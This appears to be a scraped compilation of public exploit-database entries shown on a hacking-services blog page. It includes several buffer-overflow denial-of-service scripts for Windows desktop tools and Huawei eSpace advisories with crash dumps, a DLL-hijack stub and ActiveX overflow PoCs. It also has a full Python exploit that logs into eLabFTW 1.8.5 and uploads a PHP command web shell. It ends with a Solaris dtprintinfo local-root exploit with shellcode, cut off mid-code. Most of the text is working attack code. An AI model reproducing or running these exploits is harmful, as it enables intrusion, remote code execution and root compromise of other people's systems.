# -*- coding: utf-8 -*-
# Exploit Title: CEWE PHOTO SHOW 6.4.3 - Denial of Service (PoC)
# Date: 16/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://cewe-photoworld.com/
# Software: https://cewe-photoworld.com/creator-software/windows-download
# Version: 6.4.3
# Tested on: Windows 10
# Proof of Concept:
# 1.- Run the python script 'photoshow.py', it will create a new file 'photoshow.txt'
# 2.- Copy the text from the generated photoshow.txt file to clipboard
# 3.- Open CEWE PHOTO SHOW
# 4.- Click 'Upload'
# 5.- Paste clipboard in the field 'Password' and crashed
buffer = "\x41" * 5000
f = open ("photoshow.txt", "w")
f.write(buffer)
f.close()
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863592084
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Huawei eSpace Meeting Image File Format Handling Buffer Overflow Vulnerability
Vendor: Huawei Technologies Co., Ltd.
Product web page: https://www.huawei.com
Affected version: eSpace 1.1.11.103 (aka eSpace ECS, eSpace Desktop, eSpace Meeting, eSpace UC)
Summary: Create more convenient Enhanced Communications (EC) services for your
enterprise with this suite of products. Huawei’s EC Suite (ECS) solution combines
voice, data, video, and service streams, and provides users with easy and secure
access to their service platform from any device, in any place, at any time. The
eSpace Meeting allows you to join meetings that support voice, data, and video
functions using the PC client, the tablet client, or an IP phone, or in a meeting
room with an MT deployed.
Desc: eSpace Meeting conference whiteboard functionality is vulnerable to a buffer
overflow issue when inserting known image file formats. Attackers can exploit this
issue to execute arbitrary code within the context of the affected application.
Failed exploit attempts will likely result in denial-of-service conditions.
Vuln modules (no DEP/ASLR):
C:\Program Files\eSpace-ecs\conf\cwbin\classmgr.dll
C:\Program Files\eSpace-ecs\conf\cwbin\MiniGDIEx.dll
Tested on: Microsoft Windows 7 Professional
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
23.09.2014
Patched version: V100R001C03
Vuln ID: HWPSIRT-2014-1156
CVE ID: CVE-2014-9417
Advisory: https://www.huawei.com/en/psirt/security-advisories/hw-406589
--
Reference magic numbers (hex signature):
JPG/JPEG - FF D8 FF
BMP - 42 4D
PNG - 89 50 4E 47 0D 0A 1A 0A
0:024> g
CClassMgrFrameWnd::OnKeyUp lParam = -1072758783Get config of string parameter:box, value:
(2110.2258): Unknown exception - code c0000002 (first chance)
(2110.2258): Unknown exception - code c0000002 (first chance)
(2110.1b08): C++ EH exception - code e06d7363 (first chance)
(2110.1b08): C++ EH exception - code e06d7363 (!!! second chance !!!)
eax=036de3f4 ebx=01709870 ecx=00000003 edx=00000000 esi=7c380edc edi=036de484
eip=75ae812f esp=036de3f4 ebp=036de444 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\KERNELBASE.dll -
KERNELBASE!RaiseException+0x54:
75ae812f c9 leave
0:008> d esp
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\eSpace-ecs\conf\cwbin\MSVCR71.dll -
036de3f4 63 73 6d e0 01 00 00 00-00 00 00 00 2f 81 ae 75 csm........./..u
036de404 03 00 00 00 20 05 93 19-98 e4 6d 03 30 82 3d 7c .... .....m.0.=|
036de414 00 00 00 00 18 00 00 00-14 33 41 7c 60 e4 6d 03 .........3A|`.m.
036de424 b3 16 34 7c 00 00 9c 01-00 00 00 00 b8 16 34 7c ..4|..........4|
036de434 44 4b 41 7c 98 e4 6d 03-70 98 70 01 98 98 70 01 DKA|..m.p.p...p.
036de444 84 e4 6d 03 ed 9a 35 7c-63 73 6d e0 01 00 00 00 ..m...5|csm.....
036de454 03 00 00 00 78 e4 6d 03-98 98 70 01 54 16 3d 7c ....x.m...p.T.=|
036de464 63 73 6d e0 01 00 00 00-00 00 00 00 00 00 00 00 csm.............
0:008> d
036de474 03 00 00 00 20 05 93 19-98 e4 6d 03 30 82 3d 7c .... .....m.0.=|
036de484 a8 e4 6d 03 5a 8b 3c 7c-98 e4 6d 03 30 82 3d 7c ..m.Z.<|..m.0.=|
036de494 54 2b fc ab 54 16 3d 7c-58 a9 71 01 01 00 00 00 T+..T.=|X.q.....
036de4a4 70 16 3d 7c 3c e8 6d 03-e0 d9 b0 04 00 00 00 00 p.=|<.m.........
036de4b4 66 13 af 04 54 2b fc ab-80 94 6f 01 3c e8 6d 03 f...T+....o.<.m.
036de4c4 30 ed 6d 03 00 00 00 00-ec e4 6d 03 00 00 00 00 0.m.......m.....
036de4d4 0b 00 00 00 00 00 00 00-41 41 41 41 41 41 41 41 ........AAAAAAAA
036de4e4 41 41 41 41 41 41 41 41-28 00 00 00 41 41 00 00 AAAAAAAA(...AA..
0:008> d
036de4f4 41 41 00 00 41 41 41 41-00 00 00 00 54 2b fc ab AA..AAAA....T+..
036de504 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
036de514 00 00 00 00 24 ed 6d 03-22 a0 af 76 43 f0 ed 63 ....$.m."..vC..c
036de524 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
036de534 30 ed 6d 03 45 76 58 06-42 4d 00 0d 41 41 41 41 0.m.EvX.BM..AAAA
036de544 41 41 41 41 41 41 6d 03-3b 23 af 04 3c e8 6d 03 AAAAAAm.;#..<.m.
036de554 80 94 6f 01 88 ef 6d 03-05 02 00 00 00 00 00 00 ..o...m.........
036de564 73 00 70 00 84 f2 b0 04-00 00 00 00 00 00 00 00 s.p.............
0:008> d
036de574 42 4d 00 0d 41 41 41 41-41 41 41 41 41 41 41 41 BM..AAAAAAAAAAAA
036de584 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
036de594 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
036de5a4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
036de5b4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
036de5c4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
036de5d4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
036de5e4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
--
PNG Decoder error msg:$s
Invalid parameter passed to C runtime function.
Invalid parameter passed to C runtime function.
(1874.2274): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=015d8998 edx=00000000 esi=015d8ab8 edi=00000000
eip=025f1b99 esp=032ccc88 ebp=032cd0c4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\eSpace-ecs\conf\cwbin\classmgr.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\eSpace-ecs\conf\cwbin\classmgr.dll -
classmgr+0x11b99:
025f1b99 8b9868060000 mov ebx,dword ptr [eax+668h] ds:0023:00000668=????????
--
JPEG datastream contains no image
Improper call to JPEG library in state 200
(1f88.2768): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=a2afcfb5 edx=00000000 esi=0352e318 edi=000000cc
eip=0491b035 esp=0352e2c8 ebp=0352ed30 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010297
*** WARNING: Unable to verify checksum for C:\Program Files\eSpace-ecs\conf\cwbin\MiniGDIEx.DLL
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\eSpace-ecs\conf\cwbin\MiniGDIEx.DLL -
MiniGDIEx!DllUnregisterServer+0x2f95:
0491b035 ff10 call dword ptr [eax] ds:0023:00000000=????????
---
PoC files:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46867.zip
# Exploit Title : eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE
# Date : 5/18/19
# Exploit Author : liquidsky (JMcPeters)
# Vulnerable Software : eLabFTW 1.8.5
# Vendor Homepage : https://www.elabftw.net/
# Version : 1.8.5
# Software Link : https://github.com/elabftw/elabftw
# Tested On : Linux / PHP Version 7.0.33 / Default installation (Softaculous)
# Author Site : http://incidentsecurity.com | https://github.com/fuzzlove
#
# Greetz : wetw0rk, offsec ^^
#
# Description: eLabFTW 1.8.5 is vulnerable to arbitrary file uploads via the /app/controllers/EntityController.php component.
# This may result in remote command execution. An attacker can use a user account to fully compromise the system using a POST request.
# This will allow for PHP files to be written to the web root, and for code to execute on the remote server.
#
# Notes: Once this is done a php shell will drop at https://[targetsite]/[elabftw directory]/uploads/[random 2 alphanum]/[random long alphanumeric].php5?e=whoami
# You will have to visit the uploads directory on the site to see what the name is. However there is no protection against directory listing.
# So this can be done by an attacker remotely.
#!/usr/bin/env python
import requests
from bs4 import BeautifulSoup as bs4
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import sys
import time
print "+-------------------------------------------------------------+"
print
print "- eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE"
print
print "- Discovery / PoC by liquidsky (JMcPeters) ^^"
print
print "+-------------------------------------------------------------+"
try:
target = sys.argv[1]
email = sys.argv[2]
password = sys.argv[3]
directory = sys.argv[4]
except IndexError:
print "- Usage: %s <target> <email> <password> <directory>" % sys.argv[0]
print "- Example: %s incidentsecurity.com user@email.com mypassword elabftw" % sys.argv[0]
sys.exit()
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
# The payload to send
data = ""
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37"
data += "\x32\x31\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39"
data += "\x34\x31\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a"
data += "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69"
data += "\x74\x69\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61"
data += "\x3b\x20\x6e\x61\x6d\x65\x3d\x22\x75\x70\x6c\x6f\x61\x64\x22"
data += "\x0d\x0a\x0d\x0a\x74\x72\x75\x65\x0d\x0a\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36\x37\x35"
data += "\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31\x31\x36"
data += "\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f\x6e\x74\x65"
data += "\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a"
data += "\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20\x6e\x61\x6d"
data += "\x65\x3d\x22\x69\x64\x22\x0d\x0a\x0d\x0a\x34\x0d\x0a\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31"
data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31"
data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f"
data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
data += "\x6e\x61\x6d\x65\x3d\x22\x74\x79\x70\x65\x22\x0d\x0a\x0d\x0a"
data += "\x65\x78\x70\x65\x72\x69\x6d\x65\x6e\x74\x73\x0d\x0a\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31"
data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31"
data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f"
data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
data += "\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x3b\x20\x66\x69"
data += "\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x70\x6f\x63\x33\x2e\x70\x68"
data += "\x70\x35\x22\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79"
data += "\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e"
data += "\x2f\x78\x2d\x70\x68\x70\x0d\x0a\x0d\x0a\x3c\x3f\x70\x68\x70"
data += "\x20\x65\x63\x68\x6f\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65"
data += "\x63\x28\x24\x5f\x47\x45\x54\x5b\x27\x65\x27\x5d\x2e\x27\x20"
data += "\x32\x3e\x26\x31\x27\x29\x3b\x20\x3f\x3e\x0d\x0a\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36"
data += "\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31"
data += "\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x2d\x2d\x0d\x0a"
s = requests.Session()
print "[*] Visiting eLabFTW Site"
r = s.get('https://' + target + '/' + directory +
'/login.php',verify=False)
print "[x]"
# Grabbing token
html_bytes = r.text
soup = bs4(html_bytes, 'lxml')
token = soup.find('input', {'name':'formkey'})['value']
values = {'email': email,
'password': password,
'formkey': token,}
time.sleep(2)
print "[*] Logging in to eLabFTW"
r = s.post('https://' + target + '/' + directory +
'/app/controllers/LoginController.php', data=values, verify=False)
print "[x] Logged in :)"
time.sleep(2)
sessionId = s.cookies['PHPSESSID']
headers = {
#POST /elabftw/app/controllers/EntityController.php HTTP/1.1
#Host: incidentsecurity.com
"User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0",
"Accept": "application/json",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
#Referer: https://incidentsecurity.com
"Cache-Control": "no-cache",
"X-Requested-With": "XMLHttpRequest",
"Content-Length": "588",
"Content-Type": "multipart/form-data; boundary=---------------------------72167598110874594111630395077",
"Connection": "close",
"Cookie": "PHPSESSID=" + sessionId + ";" + "token=" + token
}
print "[*] Sending payload..."
r = s.post('https://' + target + '/' + directory +
'/app/controllers/EntityController.php',verify=False, headers=headers,
data=data)
print "[x] Payload sent"
print
print "Now check https://%s/%s/uploads" % (target, directory)
print "Your php shell will be there under a random name (.php5)"
print
print "i.e https://[vulnerable site]/elabftw/uploads/60/6054a32461de6294843b7f7ea9ea2a34a19ca420752b087c87011144fc83f90b9aa5bdcdce5dee132584f6da45b7ec9e3841405e9d67a7d196f064116cf2da38.php5?e=whoami"
# -*- coding: utf-8 -*-
# Exploit Title: Encrypt PDF v2.3 - Denial of Service (PoC)
# Date: 19/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.verypdf.com
# Software: http://www.verypdf.com/encryptpdf/encryptpdf.exe
# Version: 2.3
# Tested on: Windows 10
# Proof of Concept:
# 1.- Run the python script "EncryptPDF.py", it will create a new file "EncryptPDF.txt"
# 2.- Copy the text from the generated EncryptPDF.txt file to clipboard
# 3.- Open Encrypt PDF v2.3
# 4.- Go to 'Setting', paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'
# 5.- Click on 'Open PDF(s)', when you import a pdf file, you will see a crash
buffer = "\x41" * 1000
f = open ("EncryptPDF.txt", "w")
f.write(buffer)
f.close()
/*
Huawei eSpace Desktop DLL Hijacking Vulnerability
Vendor: Huawei Technologies Co., Ltd.
Product web page: https://www.huawei.com
Affected version: eSpace 1.1.11.103 (aka eSpace ECS, eSpace Desktop, eSpace Meeting, eSpace UC)
Summary: Create more convenient Enhanced Communications (EC) services for your
enterprise with this suite of products. Huawei’s EC Suite (ECS) solution combines
voice, data, video, and service streams, and provides users with easy and secure
access to their service platform from any device, in any place, at any time. The
eSpace Meeting allows you to join meetings that support voice, data, and video
functions using the PC client, the tablet client, or an IP phone, or in a meeting
room with an MT deployed.
Desc: eSpace suffers from a DLL Hijacking issue. The vulnerability is caused due
to the application loading libraries (mfc71enu.dll, mfc71loc.dll, tcapi.dll and
airpcap.dll) in an insecure manner. This can be exploited to load arbitrary libraries
by tricking a user into opening a related application file (.html, .jpg, .png)
located on a remote WebDAV or SMB share.
Tested on: Microsoft Windows 7 Professional
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
19.08.2014
Patched version: V200R003C00
Vuln ID: HWPSIRT-2014-1153 and HWPSIRT-2014-1154
CVE ID: CVE-2014-9416
Advisory: https://www.huawei.com/en/psirt/security-advisories/hw-406589
*/
// gcc -shared -o mfc71enu.dll exploit.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
exec();
return 0;
}
int exec()
{
WinExec("calc.exe" , SW_NORMAL);
return 0;
}
Huawei eSpace Meeting ContactsCtrl.dll and eSpaceStatusCtrl.dll ActiveX Heap Overflow
Vendor: Huawei Technologies Co., Ltd.
Product web page: https://www.huawei.com
Affected version: eSpace 1.1.11.103 (aka eSpace ECS, eSpace Desktop, eSpace Meeting, eSpace UC)
eSpace UC V200R002C02
Summary: Create more convenient Enhanced Communications (EC) services for your
enterprise with this suite of products. Huawei’s EC Suite (ECS) solution combines
voice, data, video, and service streams, and provides users with easy and secure
access to their service platform from any device, in any place, at any time. The
eSpace Meeting allows you to join meetings that support voice, data, and video
functions using the PC client, the tablet client, or an IP phone, or in a meeting
room with an MT deployed.
Desc: eSpace Meeting suffers from a heap-based memory overflow vulnerability when parsing
large amount of bytes to the 'strNum' string parameter in GetNameyNum() in 'ContactsCtrl.dll'
and 'strName' string parameter in SetUserInfo() in eSpaceStatusCtrl.dll library, resulting
in heap memory corruption. An attacker can gain access to the system of the affected node
and execute arbitrary code.
Vuln ActiveX controls:
C:\Program Files\eSpace-ecs\ContactsCtrl.dll
C:\Program Files\eSpace-ecs\eSpaceStatusCtrl.dll
Tested on: Microsoft Windows 7 Professional
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
23.09.2014
Patched version: V200R001C03
Vuln ID: HWPSIRT-2014-1157
CVE ID: CVE-2014-9418
Advisory: https://www.huawei.com/en/psirt/security-advisories/hw-406589
--
ContactsCtrl.dll PoC and debug output:
<object classid='clsid:B53B93C2-6B0D-4D30-B46D-12F64E809B6D' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files\eSpace-ecs\ContactsCtrl.dll"
prototype = "Function GetNameByNum ( ByVal strNum As String ) As String"
memberName = "GetNameByNum"
progid = "ContactsCtrlLib.ContactWnd"
argCount = 1
arg1=String(616400, "A")
target.GetNameByNum arg1
0:000> d esi
04170024 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04170034 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04170044 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04170054 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04170064 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04170074 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04170084 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04170094 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
eSpaceStatusCtrl.dll PoC and debug output:
<object classid='clsid:93A44D3B-7CED-454F-BBB4-EE0AA340BB78' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files\eSpace-ecs\eSpaceStatusCtrl.dll"
prototype = "Sub SetUserInfo ( ByVal strAccount As String , ByVal staffNo As String , ByVal strName As String , ByVal status As Long )"
memberName = "SetUserInfo"
progid = "eSpaceStatusCtrlLib.StatusCtrl"
argCount = 4
arg1="defaultV"
arg2="defaultV"
arg3=String(14356, "A")
arg4=1
target.SetUserInfo arg1 ,arg2 ,arg3 ,arg4
0:005> r
eax=feeefeee ebx=02813550 ecx=feeefeee edx=feeefeee esi=0281369c edi=02813698
eip=776def10 esp=029dfd60 ebp=029dfd74 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293
ntdll!RtlEnterCriticalSection+0x4a:
776def10 83790800 cmp dword ptr [ecx+8],0 ds:0023:feeefef6=????????
#Exploit Title: AbsoluteTelnet 10.16 - 'License name' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-19
#Vendor Homepage: https://www.celestialsoftware.net/
#Software Link: https://www.celestialsoftware.net/telnet/AbsoluteTelnet10.16.exe
#Tested Version: 10.16
#Tested on: Windows 7 Service Pack 1 x64
#Steps to produce the crash:
#1.- Run python code: AbsoluteTelent.py
#2.- Open AbsoluteTelent.txt and copy content to clipboard
#3.- Open AbsoluteTelnet.exe
#4.- Select "Help" > "Enter License Key"
#5.- In "License Name" paste Clipboard
#6.- Crashed
cod = "\x41" * 2500
f = open('AbsoluteTelent.txt', 'w')
f.write(cod)
f.close()
# -*- coding: utf-8 -*-
# Exploit Title: Document Converter (docPrint Pro) v8.0 - Denial of Service (PoC)
# Date: 19/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.verypdf.com
# Software: http://dl.verypdf.net/docprint_pro_setup.exe
# Version: 8.0
# Tested on: Windows 10
# Proof of Concept:
# 1.- Run the python script "DocConverter.py", it will create a new file "DocConverter.txt"
# 2.- Copy the text from the generated DocConverterr.txt file to clipboard
# 3.- Open docPrint Document Converter
# 4.- Go to 'Setting' > 'PDF Security'
# 5.- Mark 'Encrypt PDF File' and paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'
# 6.- Click on 'Add File(s)', and select a supported file, e.g. 'sample.doc'
# 7.- Click on 'Start', you will see a crash
buffer = "\x41" * 3000
f = open ("DocConverter.txt", "w")
f.write(buffer)
f.close()
# -*- coding: utf-8 -*-
# Exploit Title: VeryPDF PCL Converter v2.7 - Denial of Service (PoC)
# Date: 19/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.verypdf.com
# Software: http://www.verypdf.com/pcltools/pcl-converter.exe
# Version: 2.7
# Tested on: Windows 10
# Proof of Concept:
# 1.- Run the python script "PCLConverter.py", it will create a new file "PCLConverter.txt"
# 2.- Copy the text from the generated PCLConverter.txt file to clipboard
# 3.- Open VeryPDF PCL Converter v2.7
# 4.- Go to 'Setting' > 'PDF Security'
# 5.- Mark 'Encrypt PDF File' and paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'
# 6.- Click on 'Add File(s)', and select a pcl file, e.g. 'sample.pcl'
# 7.- Click on 'Start', you will see a crash
buffer = "\x41" * 3000
f = open ("PCLConverter.txt", "w")
f.write(buffer)
f.close()
#Exploit Title: BulletProof FTP Server 2019.0.0.50 - 'Storage-Path' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-18
#Vendor Homepage: http://bpftpserver.com/
#Software Link: http://bpftpserver.com/products/bpftpserver/windows/download
#Tested Version: 2019.0.0.50
#Tested on: Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64
#Steps to produce the crash:
#1.- Run python code: BulletProof_Storage_Server_2019.0.0.50.py
#2.- Open bullet_storage.txt and copy content to clipboard
#3.- Open BulletProof FTP Server
#4.- Select "Settings" > "Advanced"
#5.- Enable "Override Storage-Path" and Paste Clipboard
#6.- Click on "Save"
#7.- Crashed
cod = "\x41" * 500
f = open('bullet_storage.txt', 'w')
f.write(cod)
f.close()
#Exploit Title: BulletProof FTP Server 2019.0.0.50 - 'DNS Address' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-18
#Vendor Homepage: http://bpftpserver.com/
#Software Link: http://bpftpserver.com/products/bpftpserver/windows/download
#Tested Version: 2019.0.0.50
#Tested on: Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64
#Steps to produce the crash:
#1.- Run python code: BulletProof_DNS_Server_2019.0.0.50.py
#2.- Open bullet_storage.txt and copy content to clipboard
#3.- Open BulletProof FTP Server
#4.- Select "Settings" > "Protocols" > "FTP" > "Firewall"
#5.- Enable "DNS Address" and Paste Clipboard
#6.- Click on "Test"
#7.- Crashed
cod = "\x41" * 700
f = open('bullet_dns.txt', 'w')
f.write(cod)
f.close()
/*
* raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel
* Copyright (c) 2004-2019 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
* local root. Many thanks to Dave Aitel for discovering this vulnerability
* and for his interesting research activities on Solaris/SPARC.
*
* "None of my dtprintinfo work is public, other than that 0day pack being
* leaked to all hell and back. It should all basically still work. Let's
* keep it that way, cool? :>" -- Dave Aitel
*
* This exploit uses the ret-into-ld.so technique to bypass the non-exec
* stack protection. If experiencing troubles with null-bytes inside the
* ld.so.1 memory space, try returning to sprintf() instead of strcpy().
*
* Usage:
* $ gcc raptor_dtprintname_intel.c -o raptor_dtprintname_intel -Wall
* [on your xserver: disable the access control]
* $ ./raptor_dtprintname_intel 192.168.1.1:0
* [...]
* # id
* uid=0(root) gid=1(other)
* #
*
* Tested on:
* SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
* [previous Solaris versions are also vulnerable]
*/
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel"
#define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
#define BUFSIZE 301 // size of the printer name
char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
/* double setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";
/* globals */
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], ksh_var[16];
char platform[256], release[256], display[256];
int i, offset, sc_addr, ksh_pos;
int plat_len, prog_len;
char *arg[2] = {"foo", NULL};
int sb = ((int)argv[0] | 0xfff); /* stack base */
int ret = search_ldso("strcpy"); /* or sprintf */
int rwx_mem = search_rwx_mem(); /* rwx memory */
/* fake lpstat code */
if (!strcmp(argv[0], "lpstat")) {
/* check command line */
if (argc != 2)
exit(1);
/* get the shellcode address from the environment */
sc_addr = (int)strtoul(getenv("KSH"), (char **)NULL, 0);
/* prepare the evil printer name */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
/* fill with ld.so.1 address, saved eip, and arguments */
for (i = 0; i < BUFSIZE; i += 4) {
set_val(buf, i, ret); /* strcpy */
set_val(buf, i += 4, rwx_mem); /* saved eip */
set_val(buf, i += 4, rwx_mem); /* 1st argument */
set_val(buf, i += 4, sc_addr); /* 2nd argument */
}
/* print the expected output and exit */
if(!strcmp(argv[1], "-v")) {
fprintf(stderr, "lpstat called with -v\n");
printf("device for %s: /dev/null\n", buf);
} else {
fprintf(stderr, "lpstat called with -d\n");
printf("system default destination: %s\n", buf);
}
exit(0);
}
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* read command line */
if (argc != 2) {
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
/* get some system information */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
